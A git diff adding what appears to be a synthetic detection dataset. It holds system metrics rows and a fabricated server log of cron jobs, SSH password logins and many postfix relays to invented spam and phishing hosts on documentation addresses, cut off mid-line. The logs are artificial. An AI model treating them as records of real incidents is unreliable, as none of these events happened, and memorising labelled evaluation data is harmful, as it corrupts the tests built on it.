+2025-07-05T08:02:25Z,60.93,40.95,10.19,1.14,62.82 +2025-07-05T08:02:30Z,57.74,36.98,10.3,1.37,35.77 +2025-07-05T08:02:35Z,57.01,40.4,9.25,0.79,84.51 +2025-07-05T08:02:40Z,58.32,42.8,14.58,0.77,71.27 +2025-07-05T08:02:45Z,62.34,40.62,8.58,1.43,93.21 +2025-07-05T08:02:50Z,53.5,39.61,9.64,1.1,80.56 +2025-07-05T08:02:55Z,59.01,39.82,8.58,1.14,74.64 +2025-07-05T08:03:00Z,57.47,38.46,10.24,0.71,100.67 +2025-07-05T08:03:05Z,66.09,37.61,13.58,0.97,90.3 +2025-07-05T08:03:10Z,58.28,41.64,9.76,1.11,90.63 +2025-07-05T08:03:15Z,69.27,40.51,11.92,1.06,58.17 +2025-07-05T08:03:20Z,57.69,40.92,10.96,1.01,65.99 +2025-07-05T08:03:25Z,55.19,38.9,12.94,1.11,78.3 +2025-07-05T08:03:30Z,70.3,36.65,14.09,0.91,74.63 +2025-07-05T08:03:35Z,56.62,42.31,11.34,1.02,89.61 +2025-07-05T08:03:40Z,68.54,39.58,6.42,1.08,116.02 +2025-07-05T08:03:45Z,58.44,37.37,7.55,1.19,69.89 +2025-07-05T08:03:50Z,60.83,37.29,8.69,0.61,87.43 +2025-07-05T08:03:55Z,59.27,40.0,8.6,1.33,84.52 +2025-07-05T08:04:00Z,50.5,43.47,10.92,1.12,94.93 +2025-07-05T08:04:05Z,52.36,40.52,9.44,1.02,77.87 +2025-07-05T08:04:10Z,59.09,39.66,7.27,1.27,101.21 +2025-07-05T08:04:15Z,68.61,40.53,9.44,1.01,89.04 +2025-07-05T08:04:20Z,68.4,40.78,11.03,1.16,96.54 +2025-07-05T08:04:25Z,54.6,43.84,7.21,1.46,59.34 +2025-07-05T08:04:30Z,59.47,42.37,9.18,0.76,86.21 +2025-07-05T08:04:35Z,52.13,42.68,10.41,1.03,75.03 +2025-07-05T08:04:40Z,65.43,41.11,6.73,1.22,86.72 +2025-07-05T08:04:45Z,61.56,38.96,11.37,1.12,62.69 +2025-07-05T08:04:50Z,62.89,40.74,9.32,1.3,56.16 +2025-07-05T08:04:55Z,55.88,40.28,8.95,0.85,78.84 +2025-07-05T08:05:00Z,55.25,38.98,9.13,0.88,72.13 +2025-07-05T08:05:05Z,70.6,40.45,10.47,0.71,91.27 +2025-07-05T08:05:10Z,65.74,40.85,11.09,1.1,47.11 +2025-07-05T08:05:15Z,52.54,42.57,7.57,0.98,83.59 +2025-07-05T08:05:20Z,66.64,38.88,6.86,0.96,66.85 +2025-07-05T08:05:25Z,62.86,37.99,9.87,1.07,66.63 +2025-07-05T08:05:30Z,55.02,39.74,11.14,0.89,95.0 +2025-07-05T08:05:35Z,65.45,40.94,10.41,0.7,68.17 +2025-07-05T08:05:40Z,61.57,36.51,12.41,0.82,56.1 +2025-07-05T08:05:45Z,72.36,36.58,7.85,1.05,70.79 +2025-07-05T08:05:50Z,57.44,41.3,7.68,0.8,66.3 +2025-07-05T08:05:55Z,60.33,43.04,12.53,1.14,69.55 +2025-07-05T08:06:00Z,74.9,37.57,7.02,1.15,88.58 +2025-07-05T08:06:05Z,60.32,38.57,10.86,1.13,62.9 +2025-07-05T08:06:10Z,60.82,41.32,10.04,1.69,60.51 +2025-07-05T08:06:15Z,70.9,43.16,9.86,0.84,65.48 +2025-07-05T08:06:20Z,57.78,41.2,9.94,0.92,98.04 +2025-07-05T08:06:25Z,53.26,40.74,8.97,1.11,83.22 +2025-07-05T08:06:30Z,58.55,40.77,9.25,1.09,75.07 +2025-07-05T08:06:35Z,72.32,42.19,10.59,0.78,108.82 +2025-07-05T08:06:40Z,56.3,40.26,11.46,1.24,120.0 +2025-07-05T08:06:45Z,57.24,42.32,10.88,1.03,101.45 +2025-07-05T08:06:50Z,63.25,40.48,9.64,1.11,39.53 +2025-07-05T08:06:55Z,52.51,37.69,11.72,0.81,73.67 +2025-07-05T08:07:00Z,56.28,37.49,10.78,1.05,56.47 +2025-07-05T08:07:05Z,12.56,39.79,10.18,0.77,1.89 +2025-07-05T08:07:10Z,13.09,44.19,10.93,0.83,2.26 +2025-07-05T08:07:15Z,16.27,35.14,9.24,1.0,1.3 +2025-07-05T08:07:20Z,14.21,38.07,10.04,1.02,1.32 +2025-07-05T08:07:25Z,14.77,35.92,8.41,1.24,1.9 diff --git a/mali_dataset/scenario_5/mali_5_12.log b/mali_dataset/scenario_5/mali_5_12.log new file mode 100644 index 0000000000000000000000000000000000000000..9bf074fcb63e43ce46b85f75c194ef834175804c --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_12.log @@ -0,0 +1,771 @@ +Jul 05 08:00:00 server CRON[11374]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 08:00:00 server sshd[5610]: Accepted password for operator from 10.0.1.48 port 49180 ssh2 +Jul 05 08:00:00 server systemd[1]: Starting daily clean up activities... +Jul 05 08:00:25 server sshd[5114]: Accepted password for admin from 10.0.1.10 port 41510 ssh2 +Jul 05 08:00:50 server sshd[7004]: Accepted password for operator from 10.0.1.31 port 57822 ssh2 +Jul 05 08:01:15 server sshd[1133]: Accepted password for operator from 10.0.1.46 port 45946 ssh2 +Jul 05 08:01:15 server systemd[1]: Starting daily clean up activities... +Jul 05 08:01:40 server postfix/smtp[29375]: ED7EAC0FA5: to=, relay=none, delay=2.08, delays=0.52/0.52/0.52/0.52, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:01:41 server postfix/smtp[20801]: 89473A8834: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A2AD82) +Jul 05 08:01:41 server postfix/smtp[27814]: 578FCF4F40: to=, relay=example.com[198.51.100.23]:25, delay=2.08, delays=0.52/0.52/0.52/0.52, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4E690A) +Jul 05 08:01:42 server postfix/smtp[20697]: 699B3B6860: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 420F92) +Jul 05 08:01:42 server postfix/smtp[29373]: 12998612AD: to=, relay=none, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:43 server postfix/smtp[20158]: D0B8C30ECC: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FB70A0) +Jul 05 08:01:43 server postfix/smtp[25606]: 20B9FC624A: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.81, delays=0.2025/0.2025/0.2025/0.2025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 34EE78) +Jul 05 08:01:44 server postfix/smtp[21811]: F5A5DC2A51: to=, relay=none, delay=2.4, delays=0.6/0.6/0.6/0.6, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:44 server postfix/smtp[24089]: D0793C9E32: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.84, delays=0.46/0.46/0.46/0.46, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0EF09C) +Jul 05 08:01:44 server postfix/smtp[28142]: 972BFDE535: to=, relay=example.com[198.51.100.23]:25, delay=2.41, delays=0.6025/0.6025/0.6025/0.6025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 01C47D) +Jul 05 08:01:44 server postfix/smtp[28772]: 57CB2E2808: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=0.8, delays=0.2/0.2/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9DFBDC) +Jul 05 08:01:45 server postfix/smtp[21887]: B296F253E2: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.27, delays=0.5675/0.5675/0.5675/0.5675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C2AF11) +Jul 05 08:01:45 server postfix/smtp[24343]: F365851131: to=, relay=none, delay=2.27, delays=0.5675/0.5675/0.5675/0.5675, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:45 server postfix/smtp[27663]: 60C6A46D4C: to=, relay=none, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:46 server postfix/smtp[20333]: AB06D78A22: to=, relay=none, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:01:46 server postfix/smtp[29317]: C7D8A9A55D: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.79, delays=0.4475/0.4475/0.4475/0.4475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1FD402) +Jul 05 08:01:47 server postfix/smtp[20075]: E899C449B0: to=, relay=example.com[203.0.113.111]:25, delay=1.94, delays=0.485/0.485/0.485/0.485, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A7FCBF) +Jul 05 08:01:47 server postfix/smtp[26317]: D3ECB9564A: to=, relay=example.com[198.51.100.23]:25, delay=2.97, delays=0.7425/0.7425/0.7425/0.7425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4CB856) +Jul 05 08:01:47 server postfix/smtp[26329]: B1DE637729: to=, relay=none, delay=0.92, delays=0.23/0.23/0.23/0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:01:47 server postfix/smtp[28901]: 4D9A310638: to=, relay=none, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:48 server postfix/smtp[25555]: BE22A0FE67: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 81ABB6) +Jul 05 08:01:49 server postfix/smtp[21426]: 0412D401F7: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=2.23, delays=0.5575/0.5575/0.5575/0.5575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B68829) +Jul 05 08:01:49 server postfix/smtp[29388]: 6095C25A4C: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.14, delays=0.285/0.285/0.285/0.285, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 95A0C3) +Jul 05 08:01:50 server postfix/smtp[21737]: F86DA998D7: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.98, delays=0.745/0.745/0.745/0.745, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B80C64) +Jul 05 08:01:50 server postfix/smtp[23758]: EA1C6712FE: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.16, delays=0.54/0.54/0.54/0.54, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 44DB93) +Jul 05 08:01:51 server postfix/smtp[27726]: 59D27BD9B6: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FA814C) +Jul 05 08:01:51 server postfix/smtp[28833]: 6EFA855D80: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FC1037) +Jul 05 08:01:52 server postfix/smtp[21664]: DF5946A9A4: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.07, delays=0.5175/0.5175/0.5175/0.5175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FDEE18) +Jul 05 08:01:52 server postfix/smtp[26708]: E93EAF1AE9: to=, relay=example.com[203.0.113.88]:25, delay=0.73, delays=0.1825/0.1825/0.1825/0.1825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7F4EAE) +Jul 05 08:01:52 server postfix/smtp[28034]: 5879975642: to=, relay=none, delay=2.11, delays=0.5275/0.5275/0.5275/0.5275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:53 server postfix/smtp[22327]: 7AD5BB17FC: to=, relay=none, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:01:53 server postfix/smtp[27173]: 6BBFF4D56C: to=, relay=none, delay=2.34, delays=0.585/0.585/0.585/0.585, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:01:54 server postfix/smtp[22525]: 65EF821B51: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.7, delays=0.675/0.675/0.675/0.675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 91FD96) +Jul 05 08:01:54 server postfix/smtp[27504]: 56565608C6: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.63, delays=0.6575/0.6575/0.6575/0.6575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 81F698) +Jul 05 08:01:55 server postfix/smtp[22958]: AA7ACA985D: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8BBB20) +Jul 05 08:01:55 server postfix/smtp[28766]: 2857585095: to=, relay=none, delay=1.74, delays=0.435/0.435/0.435/0.435, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:01:57 server postfix/smtp[20280]: ACAA788132: to=, relay=example.com[203.0.113.88]:25, delay=1.06, delays=0.265/0.265/0.265/0.265, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B2F80B) +Jul 05 08:01:57 server postfix/smtp[25080]: 54A1C305CE: to=, relay=example.com[203.0.113.111]:25, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7D516B) +Jul 05 08:01:57 server postfix/smtp[26298]: B81D25DBF3: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.49, delays=0.6225/0.6225/0.6225/0.6225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 61C2DE) +Jul 05 08:01:58 server postfix/smtp[22617]: D88A0D9AC3: to=, relay=example.com[192.0.2.15]:25, delay=0.95, delays=0.2375/0.2375/0.2375/0.2375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 656C91) +Jul 05 08:01:59 server postfix/smtp[20842]: 2769144FFC: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.72, delays=0.68/0.68/0.68/0.68, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5DE28D) +Jul 05 08:01:59 server postfix/smtp[26790]: CD9529124A: to=, relay=none, delay=2.78, delays=0.695/0.695/0.695/0.695, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:00 server postfix/smtp[21461]: E0644352A2: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 24E392) +Jul 05 08:02:01 server postfix/smtp[20110]: E0C371AB10: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.76, delays=0.19/0.19/0.19/0.19, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9FCD51) +Jul 05 08:02:01 server postfix/smtp[22030]: 835E79EBFC: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.52, delays=0.63/0.63/0.63/0.63, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 22DC5E) +Jul 05 08:02:01 server postfix/smtp[23058]: 6860867BA0: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.1, delays=0.275/0.275/0.275/0.275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD99FA) +Jul 05 08:02:01 server postfix/smtp[26279]: EFC767579F: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.93, delays=0.7325/0.7325/0.7325/0.7325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F57C49) +Jul 05 08:02:01 server postfix/smtp[26481]: 9D237C8343: to=, relay=none, delay=0.56, delays=0.14/0.14/0.14/0.14, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:01 server postfix/smtp[26646]: 1434F6ED29: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.77, delays=0.6925/0.6925/0.6925/0.6925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 760EC2) +Jul 05 08:02:02 server postfix/smtp[22914]: 967B7A3E64: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2D06A9) +Jul 05 08:02:02 server postfix/smtp[24138]: A129342ADB: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0B98F1) +Jul 05 08:02:03 server postfix/smtp[27289]: 0D401322AA: to=, relay=example.com[203.0.113.88]:25, delay=0.71, delays=0.1775/0.1775/0.1775/0.1775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DBB434) +Jul 05 08:02:03 server postfix/smtp[27356]: 71C0D213E8: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.09, delays=0.5225/0.5225/0.5225/0.5225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 753E97) +Jul 05 08:02:04 server postfix/smtp[23111]: 05A2242DFC: to=, relay=none, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:04 server postfix/smtp[23395]: C3C1412D32: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.21, delays=0.3025/0.3025/0.3025/0.3025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AA412D) +Jul 05 08:02:04 server postfix/smtp[26813]: 795A193F4E: to=, relay=example.com[192.0.2.15]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2ED935) +Jul 05 08:02:05 server CRON[13308]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 08:02:05 server postfix/smtp[20646]: 91B755238A: to=, relay=none, delay=1.78, delays=0.445/0.445/0.445/0.445, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:05 server postfix/smtp[28215]: 71A84AF50C: to=, relay=example.com[203.0.113.88]:25, delay=0.94, delays=0.235/0.235/0.235/0.235, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6C7AA5) +Jul 05 08:02:06 server postfix/smtp[26747]: D404655064: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CD05F8) +Jul 05 08:02:07 server postfix/smtp[20182]: 886B365C3F: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.92, delays=0.73/0.73/0.73/0.73, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FC4D30) +Jul 05 08:02:07 server postfix/smtp[22083]: 26C5A83485: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.08, delays=0.52/0.52/0.52/0.52, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0CAA5E) +Jul 05 08:02:07 server postfix/smtp[25801]: 512991AED2: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.77, delays=0.4425/0.4425/0.4425/0.4425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FA905C) +Jul 05 08:02:07 server postfix/smtp[26486]: 6E204B1AC3: to=, relay=none, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:07 server postfix/smtp[28815]: 635509725C: to=, relay=none, delay=2.86, delays=0.715/0.715/0.715/0.715, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:07 server postfix/smtp[29705]: A363A15EF6: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.31, delays=0.3275/0.3275/0.3275/0.3275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 78EC08) +Jul 05 08:02:08 server postfix/smtp[24222]: E10AB9D665: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D663E4) +Jul 05 08:02:08 server postfix/smtp[28112]: 09C334CE59: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FF49ED) +Jul 05 08:02:08 server postfix/smtp[29027]: 2325F5C6BE: to=, relay=example.com[203.0.113.88]:25, delay=1.59, delays=0.3975/0.3975/0.3975/0.3975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 992792) +Jul 05 08:02:09 server postfix/smtp[20951]: 9869CB26FF: to=, relay=none, delay=1.21, delays=0.3025/0.3025/0.3025/0.3025, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:09 server postfix/smtp[23348]: A8E8F50760: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.9, delays=0.225/0.225/0.225/0.225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 84922A) +Jul 05 08:02:10 server postfix/smtp[21970]: 73CECACD9C: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.28, delays=0.57/0.57/0.57/0.57, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 64D6A5) +Jul 05 08:02:11 server postfix/smtp[26069]: 2BC0F6D6F9: to=, relay=example.com[198.51.100.23]:25, delay=1.8, delays=0.45/0.45/0.45/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B04FEA) +Jul 05 08:02:11 server postfix/smtp[28286]: B3DF931E36: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.2, delays=0.55/0.55/0.55/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9362C4) +Jul 05 08:02:13 server postfix/smtp[24553]: B5154A5486: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.85, delays=0.7125/0.7125/0.7125/0.7125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DAD003) +Jul 05 08:02:13 server postfix/smtp[26035]: 08ABF50FF0: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=0.53, delays=0.1325/0.1325/0.1325/0.1325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9933AA) +Jul 05 08:02:13 server postfix/smtp[29591]: 17C846D0A8: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 86599D) +Jul 05 08:02:14 server postfix/smtp[25845]: 708B09CB61: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.02, delays=0.505/0.505/0.505/0.505, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7BBAC7) +Jul 05 08:02:14 server postfix/smtp[29253]: E34D88735C: to=, relay=example.com[198.51.100.23]:25, delay=1.88, delays=0.47/0.47/0.47/0.47, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 089CEC) +Jul 05 08:02:15 server postfix/smtp[27249]: 100E83588A: to=, relay=none, delay=1.75, delays=0.4375/0.4375/0.4375/0.4375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:15 server postfix/smtp[27976]: B29C4F5414: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A87AE9) +Jul 05 08:02:16 server postfix/smtp[28436]: BBDF7A2A65: to=, relay=example.com[203.0.113.111]:25, delay=1.08, delays=0.27/0.27/0.27/0.27, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 43BD89) +Jul 05 08:02:17 server postfix/smtp[23332]: C0B8DA2D3A: to=, relay=none, delay=2.82, delays=0.705/0.705/0.705/0.705, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:17 server postfix/smtp[23728]: 13F08D09AA: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.95, delays=0.7375/0.7375/0.7375/0.7375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D7942C) +Jul 05 08:02:17 server postfix/smtp[29090]: 570EED8E68: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 881C76) +Jul 05 08:02:18 server postfix/smtp[22194]: 95B4582070: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.41, delays=0.3525/0.3525/0.3525/0.3525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EC459C) +Jul 05 08:02:18 server postfix/smtp[24668]: 44FC8E0961: to=, relay=none, delay=1.59, delays=0.3975/0.3975/0.3975/0.3975, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:02:18 server postfix/smtp[25870]: D1A5A571E1: to=, relay=none, delay=2.41, delays=0.6025/0.6025/0.6025/0.6025, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:02:18 server postfix/smtp[29217]: BC460D9FC3: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4CA2AE) +Jul 05 08:02:20 server postfix/smtp[21572]: E77A30367A: to=, relay=none, delay=2.33, delays=0.5825/0.5825/0.5825/0.5825, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:20 server postfix/smtp[22482]: 5D9337A561: to=, relay=none, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:20 server postfix/smtp[25448]: 5958314B10: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.92, delays=0.73/0.73/0.73/0.73, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BC46EE) +Jul 05 08:02:21 server postfix/smtp[23113]: D93D7E5D83: to=, relay=example.com[198.51.100.23]:25, delay=0.95, delays=0.2375/0.2375/0.2375/0.2375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 87BD49) +Jul 05 08:02:21 server postfix/smtp[25798]: 1B30FA86FC: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.89, delays=0.2225/0.2225/0.2225/0.2225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E4B053) +Jul 05 08:02:21 server postfix/smtp[27950]: 1A4CCF0466: to=, relay=none, delay=2.32, delays=0.58/0.58/0.58/0.58, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:02:21 server postfix/smtp[29631]: BA79547232: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.62, delays=0.405/0.405/0.405/0.405, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5BA692) +Jul 05 08:02:22 server postfix/smtp[22434]: B5B3D52EA8: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=0.55, delays=0.1375/0.1375/0.1375/0.1375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E7F349) +Jul 05 08:02:22 server postfix/smtp[22464]: 2C0AC8712A: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.07, delays=0.5175/0.5175/0.5175/0.5175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 242EE1) +Jul 05 08:02:22 server postfix/smtp[25512]: 0333C537A0: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EE400A) +Jul 05 08:02:23 server postfix/smtp[21181]: 728436E214: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0029E3) +Jul 05 08:02:24 server postfix/smtp[22222]: 9D4A48A23C: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.52, delays=0.13/0.13/0.13/0.13, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9D80C4) +Jul 05 08:02:24 server postfix/smtp[22576]: 862CAA0D06: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.69, delays=0.4225/0.4225/0.4225/0.4225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A890A2) +Jul 05 